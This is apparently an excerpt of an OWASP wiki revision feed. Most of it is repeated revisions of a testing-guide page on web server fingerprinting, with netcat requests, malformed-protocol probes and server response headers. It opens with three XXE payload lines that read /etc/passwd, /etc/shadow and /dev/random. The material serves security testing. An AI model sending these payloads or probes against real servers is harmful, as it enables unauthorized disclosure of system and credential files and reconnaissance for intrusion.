&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xee;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xee;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xee;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Web_Application_Fingerprint_(OWASP-IG-004)&amp;diff=13316</id>
		<title>Testing for Web Application Fingerprint (OWASP-IG-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Web_Application_Fingerprint_(OWASP-IG-004)&amp;diff=13316"/>
				<updated>2006-11-19T17:34:08Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Web server fingerprinting is a critical task for prenetration tester. For example if the tester knowns what version and type of web server are running it can search vulnerabilities and know exploits.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The simplest and most basic form of identifying a Web server is to look at the Server field in the HTTP response header. For our experiments we use netcat. &lt;br /&gt;
Consider the following HTTP Request-Response: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc 202.41.76.251 80&lt;br /&gt;
HEAD / HTTP/1.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 16 Jun 2003 02:53:29 GMT&lt;br /&gt;
Server: Apache/1.3.3 (Unix)  (Red Hat/Linux)&lt;br /&gt;
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT&lt;br /&gt;
ETag: &amp;quot;1813-49b-361b4df6&amp;quot;&lt;br /&gt;
Accept-Ranges: bytes&lt;br /&gt;
Content-Length: 1179&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
$&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
from the ''Server'' field we understand that the server is Apache, version 1.3.3, running on Linux operating system.&lt;br /&gt;
Three examples of the HTTP response headers are shown below:&lt;br /&gt;
&lt;br /&gt;
From an '''Apache 1.3.23''' server: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:10: 49 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From a '''Microsoft IIS 5.0''' server:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Expires: Yours, 17 Jun 2003 01:41: 33 GMT &lt;br /&gt;
Date: Mon, 16 Jun 2003 01:41: 33 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT &lt;br /&gt;
ETag: b0aac0542e25c31: 89d &lt;br /&gt;
Content-Length: 7369 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
From a '''Netscape Enterprise 4.1''' server: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:19: 04 GMT &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT &lt;br /&gt;
Content-length: 57 &lt;br /&gt;
Accept-ranges: bytes &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This testing methodology however is not so good. There are several techniques that allow to obfuscate or to modify the server banner string.&lt;br /&gt;
For example we could obtain the following answer:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
403 HTTP/1.1 &lt;br /&gt;
Forbidden Date: Mon, 16 Jun 2003 02:41: 27 GMT &lt;br /&gt;
Server: Unknown-Webserver/1.0 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML; &lt;br /&gt;
charset=iso-8859-1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this case the server field of that response is obfuscated: we cannot know what type of web server is running.&lt;br /&gt;
&lt;br /&gt;
== Protocol behaviour == &lt;br /&gt;
Refined techniques of testing take in consideration various characteristics of the several web servers available on the market. We will list some methodologies that allow us to deduce the type of web server in use.&lt;br /&gt;
&lt;br /&gt;
=== HTTP header field ordering === &lt;br /&gt;
The first method consists in observing the ordering of the several headers in the response. Every web server has just an inner ordering of the header. We consider the following answers as an example:&lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:10: 49 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Content-Location: http://iis.example.com/Default.htm &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:13: 52 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT &lt;br /&gt;
ETag: W/e0d362a4c335be1: ae1 &lt;br /&gt;
Content-Length: 133 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:01: 40 GMT &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT &lt;br /&gt;
Content-length: 57 &lt;br /&gt;
Accept-ranges: bytes &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We can notice that the ordering of the ''Date'' field and the ''Server'' field differs between Apache, Netscape Enterprise and IIS.&lt;br /&gt;
&lt;br /&gt;
=== Malformed requests test === &lt;br /&gt;
Another useful test to execute consists in sending  malformed requests to the server, or requests of nonexistent pages.&lt;br /&gt;
We consider the following HTTP response: &lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:12: 37 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Connection: close &lt;br /&gt;
Transfer: chunked &lt;br /&gt;
Content-Type: text/HTML; charset=iso-8859-1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Content-Location: http://iis.example.com/Default.htm &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:14: 02 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT &lt;br /&gt;
ETag: W/e0d362a4c335be1: ae1 &lt;br /&gt;
Content-Length: 133 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 505 HTTP Version Not Supported &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:04: 04 GMT &lt;br /&gt;
Content-length: 140 &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We notice that every server answers in a different way. The answer differs also by the version of the server. An analogous issue comes if we create requests with a not existing protocol. Consider the following responses: &lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:17: 47 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:14: 34 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Content-Length: 87 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
&amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;TITLE&amp;gt;Bad request&amp;lt;/TITLE&amp;gt;&amp;lt;/HEAD&amp;gt; &lt;br /&gt;
&amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;Bad request&amp;lt;/H1&amp;gt; &lt;br /&gt;
Your browser sent to query this serveur could not understand. &lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Automated Testing == &lt;br /&gt;
The tests to carry out can be several. A tool that automates these tests is &amp;quot;''httprint''&amp;quot; that allows, through a signature dictionary, to recognize the type and the version of the web server in use.&amp;lt;br&amp;gt;&lt;br /&gt;
An example of such tool is shown below:&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:httprint.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Saumil Shah: &amp;quot;An Introduction to HTTP fingerprinting&amp;quot; - http://net-square.com/httprint/httprint_paper.html&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* httprint - http://net-square.com/httprint/index.shtml&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Web_Application_Fingerprint_(OWASP-IG-004)&amp;diff=13312</id>
		<title>Testing for Web Application Fingerprint (OWASP-IG-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Web_Application_Fingerprint_(OWASP-IG-004)&amp;diff=13312"/>
				<updated>2006-11-19T17:20:07Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Web server fingerprinting is a critical task for prenetration tester. For example if the tester knowns what version and type of web server are running it can search vulnerabilities and know exploits.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The simplest and most basic form of identifying a Web server is to look at the Server field in the HTTP response header. For our experiments we use netcat. &lt;br /&gt;
Consider the following HTTP Request-Response: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc 202.41.76.251 80&lt;br /&gt;
HEAD / HTTP/1.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 16 Jun 2003 02:53:29 GMT&lt;br /&gt;
Server: Apache/1.3.3 (Unix)  (Red Hat/Linux)&lt;br /&gt;
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT&lt;br /&gt;
ETag: &amp;quot;1813-49b-361b4df6&amp;quot;&lt;br /&gt;
Accept-Ranges: bytes&lt;br /&gt;
Content-Length: 1179&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
$&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
from the ''Server'' field we understand that the server is Apache, version 1.3.3, running on Linux operating system.&lt;br /&gt;
Three examples of the HTTP response headers are shown below:&lt;br /&gt;
&lt;br /&gt;
From an '''Apache 1.3.23''' server: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:10: 49 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From a '''Microsoft IIS 5,0''' server:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Expires: Yours, 17 Jun 2003 01:41: 33 GMT &lt;br /&gt;
Date: Mon, 16 Jun 2003 01:41: 33 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT &lt;br /&gt;
ETag: b0aac0542e25c31: 89d &lt;br /&gt;
Content-Length: 7369 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
From a '''Netscape Enterprise 4,1''' server: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:19: 04 GMT &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT &lt;br /&gt;
Content-length: 57 &lt;br /&gt;
Accept-ranges: bytes &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This testing methodology however is not so good. There are several techniques that allow to obfuscate or to modify the server banner string.&lt;br /&gt;
For example we could obtain the following answer:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
403 HTTP/1.1 &lt;br /&gt;
Forbidden Date: Mon, 16 Jun 2003 02:41: 27 GMT &lt;br /&gt;
Server: Unknown-Webserver/1.0 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML; &lt;br /&gt;
charset=iso-8859-1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this case the server field of that response is obfuscated: we cannot know what type of web server is running.&lt;br /&gt;
&lt;br /&gt;
== Protocol behaviour == &lt;br /&gt;
Refined techniques of testing take in consideration various characteristics of the several web servers available on the market. We will list some methodologies that allow us to deduce the type of web server in use.&lt;br /&gt;
&lt;br /&gt;
=== HTTP header field ordering === &lt;br /&gt;
The first method consists in observing the ordering of the several headers in the response. Every web server has just an inner ordering of the header. We consider the following answers as an example:&lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:10: 49 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Content-Location: http://iis.example.com/Default.htm &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:13: 52 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT &lt;br /&gt;
ETag: W/e0d362a4c335be1: ae1 &lt;br /&gt;
Content-Length: 133 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
HEAD / HTTP/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:01: 40 GMT &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT &lt;br /&gt;
Content-length: 57 &lt;br /&gt;
Accept-ranges: bytes &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We can notice that the ordering of the ''Date'' field and the ''Server'' field differs between Apache, Netscape Enterprise and IIS.&lt;br /&gt;
&lt;br /&gt;
=== Malformed requests test === &lt;br /&gt;
Another useful test to execute consists in sending  malformed requests to the server, or requests of nonexistent pages.&lt;br /&gt;
We consider the following HTTP response: &lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:12: 37 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Connection: close &lt;br /&gt;
Transfer: chunked &lt;br /&gt;
Content-Type: text/HTML; charset=iso-8859-1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Content-Location: http://iis.example.com/Default.htm &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:14: 02 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT &lt;br /&gt;
ETag: W/e0d362a4c335be1: ae1 &lt;br /&gt;
Content-Length: 133 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
GET / HTTP/3.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 505 HTTP Version Not Supported &lt;br /&gt;
Server: Netscape-Enterprise/4.1 &lt;br /&gt;
Date: Mon, 16 Jun 2003 06:04: 04 GMT &lt;br /&gt;
Content-length: 140 &lt;br /&gt;
Content-type: text/HTML &lt;br /&gt;
Connection: close &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We notice that every server answers in a different way. The answer differs also by the version of the server. An analogous issue comes if we create requests with a not existing protocol. Consider the following responses: &lt;br /&gt;
&lt;br /&gt;
Response from '''Apache 1.3.23''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc apache.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:17: 47 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''IIS 5.0''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc iis.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Date: Fri, 01 Jan 1999 20:14: 34 GMT &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
Content-Length: 87 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Response from '''Netscape Enterprise 4.1''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc netscape.example.com 80 &lt;br /&gt;
GET / JUNK/1.0 &lt;br /&gt;
&lt;br /&gt;
&amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;TITLE&amp;gt;Bad request&amp;lt;/TITLE&amp;gt;&amp;lt;/HEAD&amp;gt; &lt;br /&gt;
&amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;Bad request&amp;lt;/H1&amp;gt; &lt;br /&gt;
Your browser sent to query this serveur could not understand. &lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Automated Testing == &lt;br /&gt;
The tests to carry out can be several. A tool that automates these tests is &amp;quot;''httprint''&amp;quot; that allows, through a signature dictionary, to recognize the type and the version of the web server in use.&amp;lt;br&amp;gt;&lt;br /&gt;
An example of such tool is shown below:&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:httprint.jpg]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
=== Whitepapers ===&lt;br /&gt;
Saumil Shah: &amp;quot;An Introduction to HTTP fingerprinting&amp;quot; - http://net-square.com/httprint/httprint_paper.html&lt;br /&gt;
=== Tools === &lt;br /&gt;
httprint - http://net-square.com/httprint/index.shtml&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Web_Application_Fingerprint_(OWASP-IG-004)&amp;diff=13310</id>
		<title>Testing for Web Application Fingerprint (OWASP-IG-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Web_Application_Fingerprint_(OWASP-IG-004)&amp;diff=13310"/>
				<updated>2006-11-19T17:15:38Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Web server fingerprinting is a critical task for prenetration tester. For example if the tester knowns what version and type of web server are running it can search vulnerabilities and know exploits.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The simplest and most basic form of identifying a Web server is to look at the Server field in the HTTP response header. For our experiments we use netcat. &lt;br /&gt;
Consider the following HTTP Request-Response: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc 202.41.76.251 80&lt;br /&gt;
HEAD / HTTP/1.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 16 Jun 2003 02:53:29 GMT&lt;br /&gt;
Server: Apache/1.3.3 (Unix)  (Red Hat/Linux)&lt;br /&gt;
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT&lt;br /&gt;
ETag: &amp;quot;1813-49b-361b4df6&amp;quot;&lt;br /&gt;
Accept-Ranges: bytes&lt;br /&gt;
Content-Length: 1179&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
$&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
from the ''Server'' field we understand that the server is Apache, version 1.3.3, running on Linux operating system.&lt;br /&gt;
Three examples of the HTTP response headers are shown below:&lt;br /&gt;
&lt;br /&gt;
From an '''Apache 1.3.23''' server: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:10: 49 GMT &lt;br /&gt;
